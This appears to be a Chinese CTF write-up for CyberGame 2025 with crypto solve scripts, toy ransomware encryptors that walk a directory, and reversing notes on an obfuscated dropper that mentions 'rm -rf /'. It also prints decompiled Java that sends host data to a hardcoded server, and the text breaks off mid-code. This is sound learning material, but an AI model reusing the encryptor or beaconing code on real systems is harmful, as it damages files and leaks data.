CyberGame 2025 (Slovenia-Kenya)
这个比赛是个人赛,很大的特点是所有题目都包含至少三个flag,层层递进,通常最后一个flag有最高分数;尽管如此,很多题目前面和后面flag其实联系并不紧密。
这个比赛似乎是入门向的,感觉整体难度不高(尽管部分2星的压轴/3星题我还是做不出来),部分题目有些小巧思值得做,也有部分题目猜的成分重或者体验不好。另外部分简单题在AI辅助下可以秒杀。
总的来说感觉还是学了点东西的。
Advanced Decryption Standard
三个题目分别是AES-ECB, AES-CBC, AES-CTR,可以用CyberChef直接解密
Adversary
题目给出拦截的两个人通话的密文。三个题目是三个不同的密文,比较简单
- flag1: 似乎是某种字母替换,直接丢进quipquip,
SK-CERT{have_you_ever_heard_about_a_block_cipher???} - flag2: 题目声明这个加密方式是
3AES,并且给了三个密钥,但没有IV,推测是AES-ECB,但不确定密钥使用顺序和加解密,可以写一个随机fuzz猜测,解出明文就过了。- 最终似乎加密过程是按密钥使用顺序加密+解密+加密,解密时反过来就行
for _ in range(10000):
key_seq = list(range(len(keys)))
random.shuffle(key_seq)
do_enc = [random.choice([True, False]) for _ in range(len(key_seq))]
# key_seq = [2, 1, 0]
# do_enc = [False, True, False]
cipher = ciphers[3]
for i_key in key_seq:
if do_enc[i_key]:
cipher = AES.new(keys[i_key], AES.MODE_ECB).encrypt(cipher)
else:
cipher = AES.new(keys[i_key], AES.MODE_ECB).decrypt(cipher)
print(cipher, key_seq, do_enc)
- flag3: 题目给了一张图,说是双方会按这个图进行密钥协商,之后用flag2的3AES加密方式加密。这个图看起来很像Diffie-Hellman密钥协商的图,但似乎密钥混合用的是异或而不是非对称加密,因此可以直接异或运算解密,得到Key后结果就一样了。
Ransomware
这个题目的主题是被勒索软件加密的文件还原,三个flag用了三种不同加密方式。
三个题目的附件是相同类型,即一个被加密的png图片和一个被加密的文本文件。注意到PNG文件头其实是固定的89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52,这将是求出未知密钥的关键。
flag1: 异或解密
这个题目os.urandom(16)了一个密钥,然后进行cyclic xor加密。由于已知PNG文件头,可以直接算出密钥,解密文件。
SK-CERT{7r1v14l_r4n50mw4r3_f0r_7h3_574r7}
致敬音频传奇加密格式
ncm……这个还比那个复杂呢。
flag2: 位移密钥解密
这个题目密钥会经历两个过程:
- 第一轮异或加密后,随机丢弃每个字节的最低位
- 第二轮开始,每轮加密前将密钥移位,异或加密后再进行额外的移位。
ransomware.py
def rotate_left(byte, bits):
return ((byte << bits) & 0xff) | (byte >> (8 - bits))
def rotate_right(byte, bits):
return ((byte >> bits) & 0xff) | ((byte << (8 - bits)) & 0xff)
def encrypt(filename, key):
block_size = len(key)
with open(TARGET_DIR + filename, "rb") as f:
print(f"Reading from {TARGET_DIR + filename}")
data = f.read()
encrypted = bytearray()
num_blocks = (len(data) + block_size - 1) // block_size
for i in range(num_blocks):
block = data[i * block_size : (i + 1) * block_size]
if i == 0:
enc_block = bytearray()
for j, b in enumerate(block):
t = b ^ key[j]
random_lower = os.urandom(1)[0] & 0x01
new_val = (t & 0xFE) | random_lower
enc_block.append(new_val)
else:
offset = i % block_size
rotated_key = key[offset:] + key[:offset]
xor_result = bytes(b ^ k for b, k in zip(block, rotated_key))
enc_block = bytes(rotate_left(b, 3) for b in xor_result)
encrypted.extend(enc_block)
out_filename = TARGET_DIR + filename + ".enc"
with open(out_filename, "wb") as f:
f.write(encrypted)
print(f"[+] Encrypted file written to {out_filename}")
所有移位操作都是可以直接逆向的,唯一需要确定的是被丢弃的最低位,共2**16 == 65536种可能。注意到加密两个文件是这一位其实 也不相同,因此可以从PNG文件得到密钥高位后,直接遍历随机丢弃的最低位。
solve.py
def rotate_left(byte, bits):
return ((byte << bits) & 0xff) | (byte >> (8 - bits))
def rotate_right(byte, bits):
return ((byte >> bits) & 0xff) | ((byte << (8 - bits)) & 0xff)
def flag2(filename, key, entropy=0, TARGET_DIR="./flag2/files", save=True):
block_size = len(key)
enc_filename = os.path.join(TARGET_DIR, filename + ".enc")
with open(enc_filename, "rb") as f:
encrypted_data = f.read()
decrypted = bytearray()
num_blocks = (len(encrypted_data) + block_size - 1) // block_size
for i in range(num_blocks):
block = encrypted_data[i * block_size : (i + 1) * block_size]
if i == 0: # 初始块的特殊处理
dec_block = bytearray()
for j, b in enumerate(block):
bit_entropy = (entropy >> j) & 0x01
t = b
# 由于我们不知道最低位是什么,这里假设它是0
new_val = (t & 0xFE) | bit_entropy # 丢弃随机最低位
dec_val = new_val ^ key[j]
dec_block.append(dec_val)
else: # 后续块的处理
offset = i % block_size
rotated_key = key[offset:] + key[:offset]
# 反向旋转 - 右旋转3位代替左旋转3位
rotated_bytes = bytes(rotate_right(b, 3) for b in block)
# 与轮转后的密钥异或
dec_block = bytes(b ^ k for b, k in zip(rotated_bytes, rotated_key))
decrypted.extend(dec_block)
out_filename = os.path.join(TARGET_DIR, filename)
if save:
with open(out_filename, "wb") as f:
f.write(decrypted)
print(f"[+] Decrypted file written to {out_filename}")
return decrypted
def guess_flag2(filename, known_bytes, entropy=0, TARGET_DIR="./flag2/files"):
"""
entropy: first block, (entropy | (1 << bit))
"""
# 这里假设我们知道文件的前16个字节
key = bytearray(16)
with open(os.path.join(TARGET_DIR, filename + ".enc"), "rb") as f:
file_data = f.read(16)
for i in range(16):
bit_entropy = (entropy >> i) & 0x01
t = (file_data[i] & 0xFE) | bit_entropy
key[i] = t ^ known_bytes[i]
return bytes(key)
def run_flag2():
entro = 0
key = guess_flag2("slon.png", b'\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR', entro)
dec = flag2("slopes_of_the_unknowable.txt", key, entropy=entro, save=False)
for istep in range(10000):
new_entro = entro ^ (1 << random.randint(0, 15))
key = guess_flag2("slon.png", b'\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR', new_entro)
new_dec = flag2("slopes_of_the_unknowable.txt", key, entropy=entro, save=False)
if (new_dec_count := new_dec.count(b'"')) < dec.count(b'"'):
if new_dec_count == 0:
print(f"Found entropy: {new_entro: 09b}, Decoded: {new_dec}, Key: {key.hex()}")
break
dec = new_dec
entro = new_entro
print(f"New entropy: {new_entro: 09b}, Decoded: {dec[0xb60:0xb90]}, Length: {len(dec):x}")
flag3: PRNG加密
这一问则是使用了一个有内部状态的32bit随机数生成器,其中包含x,y,counter三个状态,数据流动框图如下:
ransomware.py
import time
import re
import os
from itertools import zip_longest
class PRNG:
def __init__(self, x, y, counter=0):
self.x = x
self.y = y
self.counter = counter
def rand(self):
t = (self.x^(self.x<<10)) & 0xffffffff
self.x = self.y
self.y = ((self.y ^ (self.y>>10)) ^ (t ^ (t>>13))) & 0xffffffff
self.counter = (self.counter + 362437) & 0xffffffff
return (self.y + self.counter) & 0xffffffff
class Encryptor:
def __init__(self, prng):
self.prng = prng
def encrypt(self, file):
enc_data = bytearray()
with open(file, "rb") as f:
data = f.read()
chunks = [data[i:i + 4] for i in range(0, len(data), 4)]
for i, chunk in enumerate(chunks):
key_int = self.prng.rand()
key_bytes = key_int.to_bytes(4, 'little')
encrypted = bytearray(b ^ k for b, k in zip(chunk, key_bytes))
enc_data += encrypted
with open(file + ".enc", "wb") as f_enc:
f_enc.write(enc_data)
TARGET_DIR = "./files/"
IGNORE_PATTERN = r".*\.enc$"
p = PRNG(os.urandom(4), os.urandom(4))
e = Encryptor(p)
for subdir, dirs, files in os.walk(TARGET_DIR):
for file in files:
if not re.match(IGNORE_PATTERN, file):
print(f"[+] Encrypted {file}")
e.encrypt(TARGET_DIR + file)
可见下一轮的x是这一轮的y,而下一轮的y由x,y共同决定。counter每次会自增,然后输出是y和counter的和。另外,考虑到这个加密是同一个PRNG用os.walk遍历文件的,我们要考虑加密的顺序,加密第二个文件(PNG)时counter并不为0,而其值 与第一个文件(TXT)的大小有关。
从PNG文件头获取连续四次PRNG输出,减去counter的贡献即得到四次连续的y,事实上也能够得到第二次加密后的全部状态。于是接下来需要逆向PRNG得到初始状态。
这里唯一需要解决的就是t = x ^ (x << k)的逆向问题(或者反过来)。容易意识到>>相当于乘法,^相当于加法,两者满足分配律。考虑到t >> k == (x >> k) ^ (x >> 2k),容易得到t ^ (t >> k) == x ^ (x >> 2k),可以一直迭代到x >> nk == 0,此时就还原了x的所有位。
solve.py
class PRNG:
def __init__(self, x, y, counter=0):
self.x = x
self.y = y
self.counter = counter
def rand(self):
t = (self.x^(self.x<<10)) & 0xffffffff
self.x = self.y
self.y = ((self.y ^ (self.y>>10)) ^ (t ^ (t>>13))) & 0xffffffff
self.counter = (self.counter + 362437) & 0xffffffff
return (self.y + self.counter) & 0xffffffff
# ==================================
# Solve below
# ==================================
def __eq__(self, value: Self):
return (self.x, self.y, self.counter) == (value.x, value.y, value.counter)
def __str__(self):
return f"PRNG(x={self.x:08x}, y={self.y:08x}, counter={self.counter:08x})"
def reverse_rand(self):
"""
反向 PRNG 步骤
"""
rand = (self.y + self.counter) & 0xffffffff
old_counter = (self.counter - 362437 + 2**32) & 0xffffffff
old_y = self.x
t_t13 = self.y ^ (old_y ^ (old_y >> 10))
t_t26 = t_t13 ^ (t_t13 >> 13)
t = t_t26 ^ (t_t26 >> 26)
assert t ^ (t >> 13) == t_t13
x_10 = (t ^ (t << 10)) & 0xffffffff
old_x = (x_10 ^ (x_10 << 20)) & 0xffffffff
# old_x = (x_20 ^ (x_20 << 30)) & 0xffffffff
assert (old_x ^ (old_x << 10)) & 0xffffffff == t, f"\nx: {old_x:032b}\nsx: {(old_x << 10) & 0xffffffff:032b}\nxor:{(old_x ^ (old_x << 10)) & 0xffffffff:032b}\nt: {t:032b}"
self.x = old_x
self.y = old_y
self.counter = old_counter
return rand
test_prng1 = PRNG(0x12345678, 0x9abcdef0, 0x00000001)
test_prng2 = PRNG(0x12345678, 0x9abcdef0, 0x00000001)
test_prng1.rand()
test_prng1.reverse_rand()
assert test_prng1 == test_prng2, f"PRNG state mismatch: {test_prng1} != {test_prng2}"
COUNTER_CONST = 362437
def reverse_prng(known_output, known_counter):
"""
"""
solver = Solver()
# 定义 Z3 位向量变量 (32 位) 用于初始状态
x = BitVec('x', 32)
y = BitVec('y', 32)
counter = known_counter
# counter = BitVec('counter', 32)
# 定义一个辅助函数,用于模拟 PRNG 的一个步骤
def prng_step(x, y, counter):
t = (x ^ (x << 10)) & 0xffffffff
new_x = y
new_y = ((y ^ (y >> 10)) ^ (t ^ (t >> 13))) & 0xffffffff
new_counter = (counter + 362437) & 0xffffffff
output = (new_y + new_counter) & 0xffffffff
return new_x, new_y, new_counter, output
# 添加约束,基于已知的输出
x_i, y_i, counter_i = x, y, counter
for i, output in enumerate(known_output):
x_i, y_i, counter_i, output_i = prng_step(x_i, y_i, counter_i)
solver.add(output_i == output) # 添加约束:输出必须匹配
# 检查是否可解
if solver.check() == sat:
model = solver.model()
initial_x = model.eval(x).as_long()
initial_y = model.eval(y).as_long()
initial_counter = model.eval(counter).as_long()
return initial_x, initial_y, initial_counter
else:
print(f"check {solver.check()}")
print("No solution found for the given outputs.")
return None
def guess_key_flag3(filename, known_bytes, TARGET_DIR="./flag3/files"):
"""
通过已知的字节来猜测密钥
"""
# 假设我们知道文件的前16个字节
key = bytearray(16)
with open(os.path.join(TARGET_DIR, filename + ".enc"), "rb") as f:
file_data = f.read(16)
for i in range(16):
key[i] = file_data[i] ^ known_bytes[i]
known_rand = struct.unpack('IIII', bytes(key[:16])) # 确保前4个字节是大端整数
return known_rand
def flag3():
"""
"""
txt_size = os.stat("flag3/files/flag.txt.enc").st_size
png_size = os.stat("flag3/files/slonik.png.enc").st_size
key4 = guess_key_flag3("slonik.png", b'\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR')
known_counter_start = [(i * COUNTER_CONST) & 0xffffffff for i in (0, math.ceil(txt_size / 4))][1]
# counter increment then return random
counters = [(known_counter_start + (i + 1) * COUNTER_CONST) & 0xffffffff for i in range(len(key4))]
# y for next round and x for next-next round
new_y = [(r - c + 2**32) & 0xffffffff for r, c in zip(key4, counters)]
# this is the state that will produce third round of png
prng_state = PRNG(new_y[0], new_y[1], counters[1])
assert prng_state.reverse_rand() == key4[1]
assert prng_state.reverse_rand() == key4[0]
assert prng_state.rand() == key4[0], f"Expected {key4[0]:08x}, prng_state {prng_state}"
assert prng_state.rand() == key4[1], f"Expected {key4[1]:08x}, prng_state {prng_state}"
assert prng_state.rand() == key4[2], f"Expected {key4[2]:08x}, prng_state {prng_state}"
assert prng_state.rand() == key4[3], f"Expected {key4[3]:08x}, prng_state {prng_state}"
for _ in range(5 + (txt_size // 4)):
prng_state.reverse_rand()
print(f"PRNG state after reversing: {prng_state}")
with open("flag3/files/flag.txt.enc", "rb") as f:
enc_data = f.read()
plain_data = b''
for _ in range(0, len(enc_data), 4):
chunk = enc_data[_:_+4]
key_int = prng_state.rand()
key_bytes = key_int.to_bytes(4, 'little')
decrypted_chunk = bytearray(b ^ k for b, k in zip(chunk, key_bytes))
plain_data += decrypted_chunk
print(plain_data.decode())
Short Crypto Tales
flag1: MorizOtis
这个题目提供了一个区块链签名的实现。代码太长不贴在这里了,简单总结:
- 首先随机生成32个32字节的私钥
- 每个私钥进行256次SHA256哈希得到公钥
- 对消息加密时,先对消息进行SHA256哈希,然后对哈希后的第i个字节,取第i个私钥,进行
255 - i次SHA256,得到签名 - 验证时,根据原始字节把剩余的
i + 1次SHA256跑完,和公钥进行对比。
题目首先对20个随机的已知消息进行签名,然后对flag进行签名,之后使用每个签名的第一个字节组成一个32字节的密钥,对flag内容进行了AES加密,并给出密文、IV和公钥。因此,问题核心在于已知20个消息和签名的情况下,预测一个未知消息的签名。
这个签名算法有一个特点:当已知某个摘要第i个字节的签名时,也就知道了其他摘要第i个字节的签名,当且仅当其他摘要第i个字节值更小时。由于SHA256的单向性,签名时迭代次数越少,信息越多。而已知的20个签名已经足够把flag对应的签名拼凑出来了。
这个题为了处理handout用了pydantic库,写的挺舒服的,可以以后参考。
solve.py
from Crypto.Cipher import AES
import os
import json
from pydantic import BaseModel
import hashlib
from typing import Self
class Signature(BaseModel):
message: str
signature:list[str]
class Data(BaseModel):
public_key: list[str]
iv: str
enc: str
signatures: list[Signature]
class SignatureKnowledge(BaseModel):
byte: int
sign: str
def is_better(self, other: Self) -> bool:
return other.byte < self.byte
def calc_sign(self, target_byte: int) -> str:
if target_byte < self.byte:
raise ValueError("Knowledge not enough")
sign_item = bytes.fromhex(self.sign)
for _ in range(target_byte - self.byte):
sign_item = hashlib.sha256(sign_item).digest()
return sign_item.hex()
os.chdir(os.path.dirname(os.path.abspath(__file__)))
# pubkey = sha256 ^ 256 privkey, there are 32 keys
# sign: sha256(message) for everykey, sha256 the i-th byte of the privkey for (BYTE_MAX - sha256(message)[i]) times
# interesting that if sha256(message) contains 0xfe, it would be the same as public key
def rev_flag1():
with open("data.json", "r") as f:
data = Data.model_validate(json.load(f))
privkey_map: list[SignatureKnowledge] = [SignatureKnowledge(byte=256, sign=pub_key) for pub_key in data.public_key]
# extract key info from public chain
for signature_suite in data.signatures:
message_digest = hashlib.sha256(signature_suite.message.encode()).digest()
for i_key, sign in enumerate(signature_suite.signature):
hash_iter = 255 - message_digest[i_key]
if hash_iter < privkey_map[i_key].byte:
privkey_map[i_key].byte = hash_iter
privkey_map[i_key].sign = sign
print(f"Private Key knowledge: {privkey_map}")
for i_key, privkey_knowledge in enumerate(privkey_map):
assert privkey_knowledge.calc_sign(256) == data.public_key[i_key], f"Key {i_key} does not match public key"
msg2_prefix = f"{data.public_key[0]} transfered 999999 CERTcoins to me".encode()
print(f"Message 2 prefix: {msg2_prefix}")
message2_hash = hashlib.sha256(msg2_prefix).digest()
aes_key = bytearray(32)
for i_key, message2_hash_byte in enumerate(message2_hash):
hash_iters = 255 - message2_hash_byte
aes_key[i_key] = int(privkey_map[i_key].calc_sign(hash_iters)[:2], 16)
print(f"Signature 2: {aes_key.hex()}")
cipher = AES.new(key=bytes(aes_key), mode=AES.MODE_CBC, iv=bytes.fromhex(data.iv))
data_plain = cipher.decrypt(bytes.fromhex(data.enc))
print(data_plain)
if __name__ == "__main__":
pass
rev_flag1()
flag2: Suibom (Morbius?)
这个题最神秘的就是我直接把附件丢给gemini-2.5-flash,它就把代码给我了,直接跑就是flag,用时不到30秒,我甚至还没看题。
请看VCR
🧑💻 User
请解决这个crypto题目,params.json和values.csv结果已经给出
import random
import json
import csv
from math import prod
from sympy import isprime, nextprime, divisors
from secret import flag
bits = 32
primes = []
while len(primes) < 12:
candidate = random.getrandbits(bits) | (1 << (bits-1)) | 1
if isprime(candidate):
primes.append(int(candidate))
N = prod(primes)
offset = random.randint(2, 5000)
base = N*offset + 1
p = nextprime(base)
exp = (p - 1) // N
g = None
while g is None:
a_candidate = random.randrange(2, p - 1)
potential = pow(a_candidate, exp, p)
if pow(potential, N, p) == 1:
is_generator = True
for q in primes:
if pow(potential, N // q, p) == 1:
is_generator = False
break
if is_generator:
g = potential
flag = b"SK-CERT{REDACTED}"
x = int.from_bytes(flag, 'big')
assert x < N, "flag too large"
divs = divisors(N)
F = {}
for n in divs:
total = 0
for d in divs:
if n % d == 0:
total += pow(g, x * d, p)
F[n] = total % p
with open('params.json', 'w') as file_1:
json.dump({'p': str(p), 'g': str(g), 'N': str(N)}, file_1, indent=2)
with open('values.csv', 'w', newline='') as file_2:
writer = csv.writer(file_2)
writer.writerow(['n', 'F(n)'])
for n in divs:
writer.writerow([n, F[n]])
🤖 Assistant
好的,我已经了解了题目和给出的params.json以及values.csv文件。
这是一个基于离散对数问题(DLP)的密码学题目,但它引入了一个独特的求和函数,并且目标是恢复flag,也就是x。
我们来分析一下给出的信息和代码:
代码分析:
- 素数生成:
- 生成12个
bits位(32位)的素数,存储在primes列表中。 N是这12个素数的乘积。
- 生成12个
- 大素数
p的生成:p是一个非常大的素数,满足p = N * offset + 1,其中offset是一个小随机数。这意味着N是p-1的一个因子。
- 生成元
g的生成:g是模p的N阶生成元,即g^N == 1 (mod p),且g^(N/q) != 1 (mod p)对于N的任何素 因子q。exp = (p - 1) // N。g的选取方式是a_candidate^exp mod p。因为p-1 = N * exp,所以g的阶是N。
- Flag
x:x是flag的整数表示。assert x < N,这是一个重要条件。
- 函数
F(n):divs = divisors(N):divs是N的所有因子列表。F[n] = total % p,其中total = sum(g^(x*d) for d in divs if n % d == 0)。- 这个函数是核心,它是一个关于
x的特定形式的求和。
目标:
从p, g, N和一系列(n, F(n))对中恢复x。
数学原理分析:
F(n)的定义:
这是一个狄利克雷卷积的形式。
令。
令是一个指示函数,当时为1,否则为0。
那么。
由于本身就是的因子(因为我们只遍历了divs),所以总是1。
这是一个非常有趣的求和。 考虑莫比乌斯反演公式: 如果,那么。 这里我们的已经是类似“大写”的形式了。
让我们重新定义一个函数: 那么
我们可以尝试对进行莫比乌斯反演。
如果我们定义一个函数使得,那么。
根据的定义,如果是N的因子,那么,否则。
所以,对于N的每一个因子n,我们可以计算:
这是非常重要的。我们知道N的因子有哪些,也知道F(n)的值。
所以,我们可以计算出g^(x*n)的值,对于所有的n,其中n是N的因子。
具体步骤:
-
加载数据:
- 从
params.json中加载p,g,N。 - 从
values.csv中加载n和F(n)的值。
- 从
-
计算莫比乌斯函数
mu(n):- 需要一个函数来计算,其中
k是N的因子。 N是12个32位素数的乘积,所以N会非常大。但是,它的因子分解是已知的。- 对于一个正整数
k:- 如果
k = 1,则。 - 如果
k有平方因子(例如4, 8, 9, 12等),则。 - 如果
k是k_1 * k_2 * ... * k_m(其中k_i是不同的素数),则。
- 如果
- 需要一个函数来计算,其中
-
计算
g^(x*n):- 对于
N的每个因子n,计算。 - 根据我们的推导,。
- 对于
-
恢复
x:- 我们现在有一系列
(n, V_n)对,其中V_n = g^(x*n) mod p。 - 最简单的情况是取
n=1。- 。
- 所以,。
- 这意味着我们得到了的值。
- 现在问题变成了:给定,我们知道和,求。这是一个标准的离散对数问题(DLP)。
- 但是,题目中
x < N这个条件非常关键。 并且我们知道g是N阶生成元,这意味着g^N = 1 mod p。 - 由于
N是p-1的因子,我们可以利用 Pohlig-Hellman 算法。 N是12个32位素数的乘积。这意味着N的素因子分解是已知的(就是primes列表)。- Pohlig-Hellman 算法的复杂度取决于模数阶的素因子分解。由于
N的素因子都是相对较小的(32位),Pohlig-Hellman 算法是可行的。 - 对于每个素因子
qofN:- 计算 。
- 。
- 令 。
- 令 。
- 现在我们有 ,且
g'的阶是q。 - 对于小的素数
q,我们可以使用 Baby-step Giant-step (BSGS) 算法或暴力枚举来找到x mod q。因为q是32位的,暴力枚举或BSGS是可以接受的。
- 得到所有后,使用中国剩余定理(CRT)来恢复
x。
- 我们现在有一系列
实施细节:
sympy.divisors(N): 这个函数已经帮我们列出所有因子。sympy.factorint(k): 可以用来获取一个数的素因子分解,这对于计算mu(k)和Pohlig-Hellman是很有用的。- 计算
mu(k)函数:def mu(n):
if n == 1:
return 1
factors = sympy.factorint(n)
for p_exp in factors.values():
if p_exp > 1:
return 0 # Has a square factor
if len(factors) % 2 == 0:
return 1
else:
return -1 - DLP 求解 (Pohlig-Hellman + BSGS):
- BSGS 算法对于一个素数阶
q:- 目标是找到
k使得。 - Baby steps: 计算并存储 for 。
- Giant steps: 计算 for 。
- 寻找匹配项。
- 目标是找到
- BSGS 算法对于一个素数阶
Let's start coding this solution.
import json
import csv
from sympy import isprime, nextprime, divisors, factorint
from math import isqrt
# 1. Load parameters and values
with open('params.json', 'r') as f:
params = json.load(f)
p = int(params['p'])
g = int(params['g'])
N = int(params['N'])
values_data = {}
with open('values.csv', 'r') as f:
reader = csv.reader(f)
next(reader) # Skip header
for row in reader:
n_val = int(row[0])
fn_val = int(row[1])
values_data[n_val] = fn_val
# 2. Implement the Mobius mu function
# We need this for Mobius inversion.
# N is a product of distinct primes, so its divisors also don't have square factors
# so mu(k) will only be 0 if k is not square-free.
# For divisors of N, they are guaranteed to be square-free as N itself is square-free.
def mobius_mu(n):
if n == 1:
return 1
# Get prime factorization of n
factors = factorint(n)
# If any prime factor has an exponent greater than 1, mu(n) = 0
for exponent in factors.values():
if exponent > 1:
return 0
# If n is square-free, mu(n) = (-1)^k where k is the number of distinct prime factors
num_distinct_prime_factors = len(factors)
if num_distinct_prime_factors % 2 == 0:
return 1
else:
return -1
# 3. Calculate g^x mod p (which is g^(x*1) mod p)
# From the Mobius inversion formula:
# g^(x*n) = sum_{d|n} mu(n/d) * F(d) mod p
# For n=1:
# g^(x*1) = sum_{d|1} mu(1/d) * F(d)
# = mu(1) * F(1)
# = 1 * F(1)
# = F(1) mod p
g_x_val = values_data[1] # F(1) is directly g^x mod p
print(f"p: {p}")
print(f"g: {g}")
print(f"N: {N}")
print(f"g^x mod p (F(1)): {g_x_val}")
# 4. Solve Discrete Logarithm Problem (DLP) for x using Pohlig-Hellman
# We need x such that g^x = g_x_val (mod p)
# The order of g is N. So we need to solve x mod N.
# N is a product of 12 prime numbers.
# We need to find the prime factors of N. We can use factorint(N).
N_prime_factors = factorint(N)
print(f"Prime factors of N: {N_prime_factors}")
# Store congruences for CRT
congruences = [] # (x_i, q_i) where x = x_i (mod q_i)
# Baby-Step Giant-Step (BSGS) algorithm for discrete logarithm
# Solves base^k = target (mod modulus) where order is order_val
def solve_dlp_bsgs(base, target, modulus, order_val):
m = isqrt(order_val) + 1
# Baby steps
baby_steps = {}
current_val = 1
for i in range(m):
baby_steps[current_val] = i
current_val = (current_val * base) % modulus
# Precompute inv_base_m = (base^-m) mod modulus
inv_base_m = pow(pow(base, m, modulus), -1, modulus)
# Giant steps
current_giant_val = target
for j in range(m):
if current_giant_val in baby_steps:
i = baby_steps[current_giant_val]
k = (j * m + i) % order_val
return k
current_giant_val = (current_giant_val * inv_base_m) % modulus
raise ValueError("Discrete logarithm not found (shouldn't happen for valid input)")
# Solve for x modulo each prime factor q_i of N
for q_i in N_prime_factors: # N_prime_factors is a dict like {prime: exponent}
# For Pohlig-Hellman, we deal with prime powers if exponent > 1.
# Here, N is a product of distinct primes, so exponent is always 1.
# New base for sub-problem: g_prime = g^(N/q_i) mod p
# New target for sub-problem: target_prime = (g^x)^(N/q_i) mod p
g_prime = pow(g, N // q_i, p)
target_prime = pow(g_x_val, N // q_i, p)
# Now we solve g_prime^k = target_prime (mod p) where k is x mod q_i
# The order of g_prime is exactly q_i.
x_mod_q_i = solve_dlp_bsgs(g_prime, target_prime, p, q_i)
congruences.append((x_mod_q_i, q_i))
print(f"x mod {q_i} = {x_mod_q_i}")
# 5. Use Chinese Remainder Theorem (CRT) to combine congruences
# x = x_1 (mod m_1)
# x = x_2 (mod m_2)
# ...
# x = x_k (mod m_k)
# Here m_i are the prime factors q_i, and they are coprime.
# The `egcd` and `modinv` functions from some common crypto libraries would be useful.
# Or implement them:
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('Modular inverse does not exist')
return x % m
# CRT implementation
# congruences is a list of (remainder, modulus) tuples
def chinese_remainder_theorem(congruences):
# Calculate N = product of all moduli
M = 1
for _, modulus in congruences:
M *= modulus
x = 0
for remainder, modulus in congruences:
Mi = M // modulus
inv_Mi = modinv(Mi, modulus)
x = (x + remainder * Mi * inv_Mi) % M
return x
x = chinese_remainder_theorem(congruences)
print(f"\nReconstructed x: {x}")
# 6. Convert x back to flag
try:
flag_bytes = x.to_bytes((x.bit_length() + 7) // 8, 'big')
# If the flag is padded with null bytes, strip them
if b'\x00' in flag_bytes:
flag_bytes = flag_bytes.lstrip(b'\x00') # Strip leading null bytes
flag = flag_bytes.decode('utf-8')
print(f"Reconstructed flag: {flag}")
except Exception as e:
print(f"Could not decode flag (might not be UTF-8 or padding issues): {e}")
print(f"Raw bytes for flag: {x.to_bytes((x.bit_length() + 7) // 8, 'big')}")
运行上述代码前,请确保安装了sympy库:
pip install sympy
关于x.bit_length():
flag = b"SK-CERT{REDACTED}"
x = int.from_bytes(flag, 'big')
assert x < N
当将x转换回字节串时,x.to_bytes((x.bit_length() + 7) // 8, 'big')会生成一个尽可能短的字节串。如果原始flag是例如b'\x00SECRET',那么x会丢失开头的\x00,转换回来后就变成b'SECRET'。
但是,通常CTF题目中的flag字符串不会以空字节开头。
如果flag的长度是固定的,并且x不足以填满该长度,那么to_bytes可能需要指定一个固定的长度参数。但通常情况下,bit_length()就足够了。
这里因为x是SK-CERT{...}的整数表示,它不会以\x00开头,所以lstrip(b'\x00')可能不是严格必要,但加了也无妨。
最终,flag_bytes.decode('utf-8')应该能得到原始的flag字符串。
这个解决方案的完整流程和推导都已给出,并且包含了解题所需的Pohlig-Hellman和CRT算法。
唯一需要注意的是,由于q_i是32位的素数,m = sqrt(q_i)大约是,BSGS的复杂度是,所以对于每个素因子,计算量 是可接受的。总共12个这样的素因子,所以总耗时也会在合理范围内。
SanityChecker
比较签到的逆向
给了一个python代码,有很吓人的混淆,最后有个time.sleep(31536000),写入了lol.sh文件,以及os.system执行了两次shell。注释掉然后打印出来,得到flag1:
chmod +x lol.sh
./lol.sh #SK-CERT{0bfu5c4710n_4nd_5l33p}
flag2位于lol.sh内第二行的注释内。这个脚本本身是一个巨大base64脚本解码后存到./malw文件里,给权限执行。
./malw是个ELF文件,可以直接strings提取明文flag,不需要逆向。
另外逆向之后会发现特别好玩,它
puts了rm -rf /然后sleep多次,点到为止。
ConnectionChecker
开始上强度了。
flag1-2: JAR逆向
首先是给了一个JAR包,使用jd-gui打开后,提取出主要的TestEt.java类,里面包含了主函数。
TestEt.java
public static final void main() {
String start_token = "U0stQ0VSVHtqNHJfZDNjMG1wX2s3fQ==";
byte[] decodedBytes = Base64.getDecoder().decode(start_token);
Intrinsics.checkNotNull(decodedBytes);
String decodedString = new String(decodedBytes, Charsets.UTF_8);
if (!((decodedString.length() > 0) ? 1 : 0) || decodedString.charAt(0) != 'S') {
System.exit(0);
throw new RuntimeException("System.exit returned normally, while it was supposed to halt JVM.");
}
String serverIp = "195.168.112.4";
int serverPort = 7051;
if (getCurrentSSID() == null)
getCurrentSSID();
String ssid = "unknown_ssid";
if (getLocalIp() == null)
getLocalIp();
String ip = "unknown_ip";
String combined = ssid + '|' + ip;
String hash = md5(combined);
if (Intrinsics.areEqual(hash, "de2ca7388ab6efb59a977505b9414ca2"))
try {
Socket socket = new Socket(serverIp, serverPort);
PrintWriter output = new PrintWriter(socket.getOutputStream(), true);
BufferedReader input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
byte[] arrayOfByte1 = new byte[25];
arrayOfByte1[0] = -67;
arrayOfByte1[1] = -33;
arrayOfByte1[2] = 90;
arrayOfByte1[3] = 3;
arrayOfByte1[4] = -3;
arrayOfByte1[5] = -61;
arrayOfByte1[6] = -71;
arrayOfByte1[7] = 35;
arrayOfByte1[8] =
109;
arrayOfByte1[9] = 78;
arrayOfByte1[10] = 37;
arrayOfByte1[11] = -109;
arrayOfByte1[12] = 113;
arrayOfByte1[13] = 90;
arrayOfByte1[14] = 65;
arrayOfByte1[15] = -109;
arrayOfByte1[16] = -99;
arrayOfByte1[17] = 66;
arrayOfByte1[18] = 90;
arrayOfByte1[19] = 66;
arrayOfByte1[20] = 65;
arrayOfByte1[21] = 83;
arrayOfByte1[22] = 66;
arrayOfByte1[23] = 79;
arrayOfByte1[24] = 53;
byte[] s = arrayOfByte1;
for (int m = 0, i = s.length; m < i; m++) {
int c = s[m] & 0xFF;
c ^= m;
c = c - 10 & 0xFF;
c = -c & 0xFF;
c = c + m & 0xFF;
c = (c >> 2 | c << 6) & 0xFF;
s[m] = (byte)c;
}
String encodedData = base64(hash + '|' + new String(s, Charsets.UTF_8));
output.println(encodedData);
String response = input.readLine();
if (response == null) {
System.exit(0);
